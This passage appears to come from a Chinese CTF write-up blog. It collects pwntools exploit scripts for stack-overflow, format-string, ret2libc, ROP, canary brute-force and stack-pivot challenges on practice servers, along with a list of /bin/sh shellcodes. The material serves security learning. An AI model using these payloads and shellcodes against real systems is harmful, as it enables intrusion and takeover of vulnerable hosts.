  __int64 v6; \/\/ [rsp+38h] [rbp-38h]
  __int64 v7; \/\/ [rsp+40h] [rbp-30h]
  __int64 v8; \/\/ [rsp+48h] [rbp-28h]
  __int64 v9; \/\/ [rsp+50h] [rbp-20h]
  __int64 v10; \/\/ [rsp+58h] [rbp-18h]
  __int16 v11; \/\/ [rsp+60h] [rbp-10h]
  unsigned __int64 v12; \/\/ [rsp+68h] [rbp-8h]
\u200b
  v12 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  stream = fopen(\"flag.txt\", \"r\");
  *(_QWORD *)s = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0;
  if ( stream )
    fgets(s, 50, stream);
  HIBYTE(v11) = 0;
  while ( 1 )
  {
    puts(\"Echo as a service\");
    gets(format);
    printf(format);
    putchar(10);
  }
}<\/code><\/pre>\n\n\n\n
GDB\u8c03\u8bd5\u8fd0\u884c\u5230\u8fd9\u4e2a\u4f4d\u7f6e<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6b38\uff0c\u76f4\u63a5\u504f\u79fb\u5c31\u80fd\u627e\u5230\u4e86\u561b<\/p>\n\n\n\n
\u8fd9\u91ccgets\u5b58\u8fdb\u7684\u662fformat<\/p>\n\n\n\n
\u800cformat\u662f32\u5b57\u8282<\/p>\n\n\n\n
\u6240\u4ee5\u8fd9\u91cc\u7684\u957f\u5ea6\u5c31\u662f<\/p>\n\n\n\n
0x40 \/ 8 + 32\/8 = 8 + 4 = 12<\/p>\n\n\n\n
\u4f46\u662f\uff0c\u53bb\u5b9e\u9645\u5c1d\u8bd5\u53d1\u73b012\u5e76\u4e0d\u884c\uff0c\u5b9e\u9645\u4e0a\u5e94\u8be5\u5f80\u540e\u632a\u4e00\u4f4d\u624d\u662f\u771f\u6b63\u7684\u504f\u79fb\u503c<\/p>\n\n\n\n
\u4f46\u662f\u53c8\u6709\u95ee\u9898\uff0c\u5b83\u8f93\u51fa\u7684\u503c\u662f16\u8fdb\u5236\u7684\uff0c\u6240\u4ee5\u8fd8\u5f97\u518d\u8f6c\u4e00\u6b21ascll<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8f6c\u8f6c\u5c31\u597d\u4e86\uff08\uff09<\/p>\n\n\n\n
\u6ce8\u610f\u6362\u6210\u5c0f\u7aef\u5e8f<\/p>\n\n\n\n
[HNCTF 2022 Week1]safe_shellcode<\/h2>\n\n\n\n
\u6ca1\u5565\u597d\u8bf4\u7684<\/p>\n\n\n\n
\u4f46\u662f\u8bb0\u5f55\u4e00\u4e0b\u8fd9\u4e2a\uff1a<\/p>\n\n\n\n
# 32\u4f4d \u77ed\u5b57\u8282shellcode --> 21\u5b57\u8282
\\x6a\\x0b\\x58\\x99\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\xcd\\x80
\u200b
# 32\u4f4d \u7eafascii\u5b57\u7b26shellcode
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA
\u200b
# 32\u4f4d scanf\u53ef\u8bfb\u53d6\u7684shellcode
\\xeb\\x1b\\x5e\\x89\\xf3\\x89\\xf7\\x83\\xc7\\x07\\x29\\xc0\\xaa\\x89\\xf9\\x89\\xf0\\xab\\x89\\xfa\\x29\\xc0\\xab\\xb0\\x08\\x04\\x03\\xcd\\x80\\xe8\\xe0\\xff\\xff\\xff\/bin\/sh
\u200b
# 64\u4f4d scanf\u53ef\u8bfb\u53d6\u7684shellcode 22\u5b57\u8282
\\x48\\x31\\xf6\\x56\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57\\x54\\x5f\\xb0\\x3b\\x99\\x0f\\x05
\u200b
# 64\u4f4d \u8f83\u77ed\u7684shellcode  23\u5b57\u8282
\\x48\\x31\\xf6\\x56\\x48\\xbf\\x2f\\x62\\x69\\x6e\\x2f\\x2f\\x73\\x68\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x99\\x0f\\x05
\u200b
# 64\u4f4d \u7eafascii\u5b57\u7b26shellcode
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
\u200b<\/code><\/pre>\n\n\n\n
[HNCTF 2022 Week1]ezcmp<\/h2>\n\n\n\n
x\/10gx *0x404100<\/p>\n\n\n\n
p64\u5206\u6bb5\u4f20\u5165<\/p>\n\n\n\n
[SWPUCTF 2022 \u65b0\u751f\u8d5b]Integer Overflow<\/h2>\n\n\n\n
from pwn import *
#io = process(\".\/pwn\")
io = remote(\"node5.anna.nssctf.cn\",21127)
\u200b
io.sendline(b'1')
io.sendline(b'-1')
\u200b
offset = 0x20 + 4
bin_sh = 0x804A008
system = 0x80494FB
ret = 0x0804900e
\u200b
\u200b
pd = b'a' * offset 
pd += p32(system)
pd += p32(bin_sh)
\u200b
\u200b
# gdb.attach(io)
\u200b
io.sendline(pd)
io.interactive()<\/code><\/pre>\n\n\n\n
[\u6df1\u80b2\u676f 2021]find_flag<\/h2>\n\n\n\n
from pwn import *
context.log_level = 'debug'
io = remote(\"node4.anna.nssctf.cn\",28334)
# io = process(\".\/find_flag\")
\u200b
\u200b
io.sendlineafter(b'name?', b'%17$p.%19$p')
io.recvuntil(b'you, ')
leak = io.recvuntil(b'!')[0:-1] 
\u200b
\u200b
leak_str = leak.decode()
canary_str, stack_str = leak_str.split('.')  
canary = int(canary_str, 16)  
stack_addr = int(stack_str, 16)  
\u200b
\u200b
success(f\"canary: {hex(canary)}\")
success(f\"stack_addr: {hex(stack_addr)}\")
\u200b
\u200b
base_addr = stack_addr - 0x146F
flag_addr = base_addr + 0x1231
success(f\"flag_addr: {hex(flag_addr)}\")
\u200b
\u200b
pd = b'a'*(0x40 - 0x8) + p64(canary) + p64(0) + p64(flag_addr)
\u200b
io.sendline(pd)
io.interactive()<\/code><\/pre>\n\n\n\n
\u6709\u624b\u5c31\u884c\u7684\u6808\u6ea2\u51fa<\/h2>\n\n\n\n
from pwn import *
io = remote(\"node5.anna.nssctf.cn\",29100)
\u200b
\u200b
ret = 0x000000000040101a
backd = 0x0000000000401257
\u200b
payload = b'a'*(32+8) + p64(ret) +p64(backd)
\u200b
io.sendline(payload)
io.interactive()<\/code><\/pre>\n\n\n\n
[BJDCTF 2020]babyrop<\/h2>\n\n\n\n
from pwn import *
\u200b
\u200b
io = remote('node4.anna.nssctf.cn',28199)
# io=process(\".\/pwn\")
elf = ELF('.\/pwn')
libc= ELF(elf.libc.path)
\u200b
ret_add =0x00000000004004c9
pop_rdi =0x0000000000400733
main_add =0x0000000004006AD
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
\u200b
print(\"Puts_got: \",hex(puts_got))
print(\"Puts_plt: \",hex(puts_plt))
\u200b
offset=0x20
\u200b
payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'story!', payload1)
puts_addr = u64(io.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))
print(\"Puts_addr: \",hex(puts_addr))
\u200b
\u200b
\u200b
libc_base = puts_addr -     0x4ef50
system_add = libc_base +    0x24c50
bin_sh_add = libc_base + 0x16c617
\u200b
payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
\u200b
io.sendlineafter(b'story!', payload2)
\u200b
io.interactive()<\/code><\/pre>\n\n\n\n
[CISCN 2019\u4e1c\u5317]PWN2<\/h2>\n\n\n\n
\u653e\u592a\u4e45\u5fd8\u4e86\uff0c\u597d\u50cf\u662f\u672c\u5730\u5c31\u662f\u6253\u4e0d\u901a\uff0c\u8fdc\u7a0b\u80fd\u8fc7<\/p>\n\n\n\n
\u4f46\u662f\u6709\u4fe9exp\uff0c\u60f3\u4e0d\u8d77\u6765\u5230\u5e95\u54ea\u7248\u80fd\u7528\u4e86\uff0c\u90fd\u8d34\u4e00\u4efd\u4ee5\u793a\u656c\u610f\uff08\uff09<\/p>\n\n\n\n
from pwn import *
context.log_level = \"debug\"
\u200b
#io = remote(\"node5.anna.nssctf.cn\",28952)
io = process(\".\/pwn\")
elf = ELF(\".\/pwn\")
libc = ELF(\".\/libc6_2.27-0ubuntu2_amd64.so\")
\u200b
\u200b
ret = 0x00000000004006b9
pop_rdi = 0x0000000000400c83
puts_plt = elf.plt['puts']  
puts_got = elf.got['puts']
en_addr = 0x00000000004009A0
\u200b
print(hex(puts_plt))
print(hex(puts_got))
\u200b
\u200b
\u200b
offset = 0x50+8
\u200b
io.sendlineafter(b\"Input your choice!\\n\", b'1')
\u200b
\u200b
pd = b'A' * offset          
pd += p64(pop_rdi)          
pd += p64(puts_got)         
pd += p64(puts_plt)         
pd += p64(en_addr) 
\u200b
#gdb.attach(io)
io.sendlineafter(b\"Input your Plaintext to be encrypted\\n\", pd)
\u200b
leak = u64(io.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00'))
log.info(f\"Leaked puts@libc: {hex(leak)}\")
\u200b
 
libc_base = leak - libc.sym['puts'] 
log.info(f\"Libc base: {hex(libc_base)}\")
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'\/bin\/sh\\x00'))
\u200b
\u200b
log.success(f\"system:{hex(system_addr)}\")
log.success(f\"bin_sh:{hex(binsh_addr)}\")
\u200b
pd2  = b'a' * offset                   
pd2 += p64(pop_rdi)     
pd2 += p64(binsh_addr)    
pd2 += p64(ret)
pd2 += p64(system_addr)
\u200b
io.sendlineafter(b\"Input your Plaintext to be encrypted\\n\", pd2)
\u200b
io.interactive()<\/code><\/pre>\n\n\n\n
from pwn import *
leak = lambda name,content: log.success('{}={:#x}'.format(name,content))
p = process(\".\/pwn\")
p.sendline(b'1')
elf = ELF('.\/pwn')
rdi = 0x0400c83
ret = 0x04006b9
encrypt_addr = 0x04009A0
main_addr = 0x0400B28
strlen_got = elf.got['strlen']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload = b'a'*(0x50+8) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(encrypt_addr)
p.sendline(payload)
p.recvuntil(b'oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\\x83\\x0c@\\n')
puts_addr = u64(p.recvuntil(b'\\n',drop=True).ljust(8,b'\\x00'))
leak('puts_addr',puts_addr)
libc = ELF('.\/libc6_2.27-0ubuntu2_amd64.so')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'\/bin\/sh'))
leak('libc_base',libc_base)
leak('system_addr',system_addr)
leak('bin_sh',bin_sh)
payload1 = b'a'*0x50 + b'a'*8 +p64(rdi) + p64(bin_sh) + p64(ret) + p64(system_addr)
p.send(payload1)
p.interactive()<\/pre>\n\n\n\n
[CISCN 2019\u534e\u5357]PWN3<\/h2>\n\n\n\n
from pwn import *
context.log_level = 'debug'
\u200b
io = process(\".\/pwn\")
\u200b
offset = 0x10 + 8 
gadget = 0x0000000004004D6
ret = 0x00000000004003a9
\u200b
pd = b'a'*offset
pd += p64(ret)
pd += p64(gadget)
\u200b
\u200b
gdb.attach(io)
io.send(pd)
\u200b
io.interactive()<\/code><\/pre>\n\n\n\n
[CISCN 2023 \u521d\u8d5b]\u70e7\u70e4\u644a\u513f<\/h2>\n\n\n\n
from pwn import *
\u200b
\u200b
context(os=\"linux\", arch=\"amd64\", log_level=\"debug\")
\u200b
io = remote(\"node4.anna.nssctf.cn\",28253)
\u200b
\u200b
io.sendlineafter(b'> ', b'2')
io.sendline(b'1')
io.sendline(b'-999999')
io.sendline(b'4')
io.sendline(b'5')
\u200b
syscall         = 0x0000000000402404
pop_rdi_ret     = 0x000000000040264f
pop_rdx_rbx_ret = 0x00000000004a404b
pop_rsi_ret     = 0x000000000040a67e
name            = 0x00000000004E60F0
pop_rax_ret     = 0x0000000000458827
ret             = 0x000000000040101a
payload = b'\/bin\/sh\\x00' + b'a' * 0x20 + p64(pop_rax_ret) + p64(59) + p64(pop_rdi_ret) + p64(name) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_rbx_ret) + p64(0) + p64(0) + p64(syscall)
io.sendlineafter(\"\u8bf7\u8d50\u540d\uff1a\\n\", payload)
\u200b
io.interactive()<\/code><\/pre>\n\n\n\n
[CISCN 2023 \u521d\u8d5b]funcanary<\/h2>\n\n\n\n
from pwn import *
elf = ELF('.\/service')
p = process('.\/service')
#p=remote('node5.anna.nssctf.cn',27873)
p.recvuntil('welcome\\n')
canary = b'\\x00'
\u200b
for k in range(7):
    for i in range(256):
        p.send(b'a'*0x68 + canary + p8(i))
        a = p.recvuntil(\"welcome\\n\")
        if b\"fun\" in a:
                canary += p8(i)
                print(b\"canary: \" + canary)
                break               
catflag = 0x0231
while(1):
    for i in range(16):
        payload = b'A' * 0x68 + canary + b'A' * 8 + p16(catflag)
        p.send(payload)
        #pause()
        a = p.recvuntil(\"welcome\\n\",timeout=1)
        print(a)
        if b\"welcome\" in a:
                catflag += 0x1000
                continue
        if b\"NSSCTF\" in a:
            print(a)
            break
\u200b
p.interactive()<\/code><\/pre>\n\n\n\n
[HDCTF 2023]pwnner<\/h2>\n\n\n\n
from pwn import *
io = remote(\"node5.anna.nssctf.cn\",21999)
payload=b'a'*(0x40+0x08)+p64(0x4008B2)
io.sendlineafter(b'name:',b'1956681178')
io.sendlineafter(b'next?',payload)
io.interactive()<\/code><\/pre>\n\n\n\n
[HNCTF 2022 Week1]ezr0p64<\/h2>\n\n\n\n
from pwn import *
elf = ELF(\".\/pwn\")
libc = ELF(\".\/libc.so.6\")
\u200b
\u200b
io = remote(\"node5.anna.nssctf.cn\",27494)
\u200b
io.recvuntil(b'Gift :')
puts_addr = io.recvuntil(b'\\n')[0:14]
success(f\"puts_addr : {puts_addr}\")
\u200b
libc_base = int(puts_addr,16) - libc.symbols['puts']
system_add = libc_base + libc.symbols['system']
bin_sh_add = libc_base + next(libc.search(b'\/bin\/sh'))
\u200b
offset = 0x100 + 8
\u200b
ret = 0x000000000040101a
rdi = 0x00000000004012a3
pd = b'a' * offset
pd += p64(ret)
pd += p64(rdi)
pd += p64(bin_sh_add)
pd += p64(system_add)
\u200b
io.sendline(pd)
\u200b
io.interactive()<\/code><\/pre>\n\n\n\n
[HNCTF 2022 Week1]safe_shellcode<\/h2>\n\n\n\n
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
io = remote(\"node5.anna.nssctf.cn\",29442)
#io = process('.\/pwn')
\u200b
shellcode = \"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t\"
io.send(shellcode)
io.interactive()<\/code><\/pre>\n\n\n\n
[LitCTF 2023]\u72e0\u72e0\u7684\u6ea2\u51fa\u6d85~<\/h2>\n\n\n\n
from pwn import *
context.log_level = 'debug'
\u200b
io = remote('node4.anna.nssctf.cn',28296)
#io=process(\".\/pwn\")
elf = ELF('.\/pwn')
libc= ELF('.\/libc-2.31.so')
\u200b
ret_add =0x0000000000400556
pop_rdi =0x00000000004007d3
main_add =0x0000000004006B0
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
\u200b
print(\"Puts_got: \",hex(puts_got))
print(\"Puts_plt: \",hex(puts_plt))
\u200b
offset=0x67
payload1 = b'\\x00'
payload1 += b'a' * (offset) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'message:', payload1)
io.recvuntil(b'Received\\n')
\u200b
puts_addr = u64(io.recvuntil('\\x7f')[-6:].ljust(8,b'\\x00'))
print(\"Puts_addr: \",hex(puts_addr))
\u200b
\u200b
\u200b
libc_base = puts_addr - libc.symbols['puts']
system_add = libc_base + libc.symbols['system']
bin_sh_add = libc_base + next(libc.search(b'\/bin\/sh'))
\u200b
payload2 = b'\\x00'
payload2 += b'a' * (offset) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
\u200b
io.sendlineafter(b'message:', payload2)
io.recv()
\u200b
\u200b
io.interactive()<\/code><\/pre>\n\n\n\n
[HDCTF 2023]KEEP ON<\/h2>\n\n\n\n
\u597d\u50cf\u4e00\u76f4\u6ca1\u6709\u4e13\u95e8\u5199\u8fc7\u5b8c\u6574\u7684\u6808\u8fc1\u79fb<\/p>\n\n\n\n
\u5c31\u8865\u4e2a\u6863\u5427<\/p>\n\n\n\n
__int64 vuln()
{
  char s[80]; \/\/ [rsp+0h] [rbp-50h] BYREF
\u200b
  memset(s, 0, sizeof(s));
  puts(\"please show me your name: \");
  read(0, s, 0x48uLL);
  printf(\"hello,\");
  printf(s);
  puts(\"keep on !\");
  read(0, s, 0x60uLL);
  return 0LL;
}<\/code><\/pre>\n\n\n\n
%p\u57fa\u7840\u8c03\u8bd5\u5b9a\u4f4d\u683c\u4e32\u6808\u504f\u79fb<\/p>\n\n\n\n
\u6d4b\u51fa\u6765\u662fs\u6570\u7ec4\u57286<\/p>\n\n\n\n
s\u5728rbp-50\u7684\u5730\u65b9<\/p>\n\n\n\n
0x50\/8 = 10<\/p>\n\n\n\n
10+6 = 16<\/p>\n\n\n\n
rbp\u5728\u6808\u4e0a\u7684\u504f\u79fb\u5c31\u627e\u5230\u4e86<\/p>\n\n\n\n
\u6cc4\u9732\u4e00\u4e0b\u5c31\u597d\u4e86<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
leave<\/p>\n\n\n\n
retn<\/p>\n\n\n\n
\u8fd9\u4fe9\u5c31\u662f\u6808\u8fc1\u79fb\u7684\u6700\u6838\u5fc3\u4e4b\u5904\u4e86<\/p>\n\n\n\n
\u5176\u76f8\u5f53\u4e8e<\/p>\n\n\n\n
mov rsp rbp;<\/p>\n\n\n\n
pop rbp<\/p>\n\n\n\n
\u6b64\u65f6rsp\u4e0erbp\u4f4d\u4e8e\u4e86\u4e00\u4e2a\u5730\u5740\uff0c\u53ef\u4ee5\u73b0\u5728\u628a\u5b83\u4eec\u6307\u5411\u7684\u90a3\u4e2a\u5730\u5740\uff0c\u5373\u5f53\u6210\u6808\u9876\u53c8\u53ef\u4ee5\u5f53\u6210\u662f\u6808\u5e95\u3002\u7136\u540epop rbp\uff0c\u5c06\u6808\u9876\u7684\u5185\u5bb9<\/strong>\u5f39\u5165rbp\uff08\u6b64\u65f6\u6808\u9876\u7684\u5185\u5bb9\u4e5f\u5c31\u662frbp\u7684\u5185\u5bb9\uff0c\u4e5f\u5c31\u662f\u8bf4\u73b0\u5728\u628arbp\u7684\u5185\u5bb9\u8d4b\u7ed9\u4e86rbp\uff09\u3002\u56e0\u4e3arsp\u8981\u65f6\u523b\u6307\u5411\u6808\u9876\uff0c\u65e2\u7136\u6808\u9876\u7684\u5185\u5bb9\u90fd\u5f39\u8d70\u4e86\uff0c\u90a3\u4e48rsp\u81ea\u7136\u8981\u5f80\u4e0b\u632a\u4e00\u4e2a\u5185\u5b58\u5355\u5143<\/p>\n\n\n\n
\u8bf4\u56de\u9898\u76ee\uff0c\u4e3a\u4ec0\u4e48S\u53c8\u7b49\u4e8erbp – 0x60\u4e86\u5462\uff1f<\/p>\n\n\n\n
emmmm\uff0cgdb\u8c03\u8c03\u770b\u5c31\u597d\u4e86\uff0c\u4e0d\u591a\u5199\u4e86\uff0c\u4e24\u6b21\u8bfb\u5165\uff0c\u7b2c\u4e00\u6b21\u6cc4\u9732\u7b2c\u4e8c\u6b21\u8f93\u4e2abbbb\uff0csearch bbbb\u561b\uff08\uff09<\/p>\n\n\n\n
\u6b38\uff0c\u8fd9\u4e0bpd\u5c31\u80fd\u5199\u4e86<\/p>\n\n\n\n
rdi\u6709\u7684\uff0cleave\u6709\u7684\uff0csyscall\u6709\u7684<\/p>\n\n\n\n
\u6808\u6ea2\u51fa\u4e5f\u770b\u5230\u4e86<\/p>\n\n\n\n
ROP\u94fe\u5c31\u597d\u5199\u4e86<\/p>\n\n\n\n
\u597d\u50cf\u5199\u7684pd\u53ef\u8bfb\u6027\u6bd4\u8f83\u5dee\u2026\u2026<\/p>\n\n\n\n
\u5148\u5199\u4e1c\u897f<\/p>\n\n\n\n
vuln \u51fd\u6570\u7684\u8fd4\u56de\u6d41\u7a0b\u662f\u56fa\u5b9a\u7684\uff1aleave\uff08\u539f\u6307\u4ee4\uff09\u2192 retn\uff08\u539f\u6307\u4ee4\uff09<\/code>\uff0c\u901a\u8fc7 pd \u8986\u76d6\u4e86\u4e24\u4e2a\u5173\u952e\u5730\u5740\uff0c\u8ba9\u8fd9\u4e2a\u6d41\u7a0b\u53d8\u6210 \u201c\u6808\u8fc1\u79fb\u89e6\u53d1\u6d41\u7a0b\u201d\uff1a<\/p>\n\n\n\n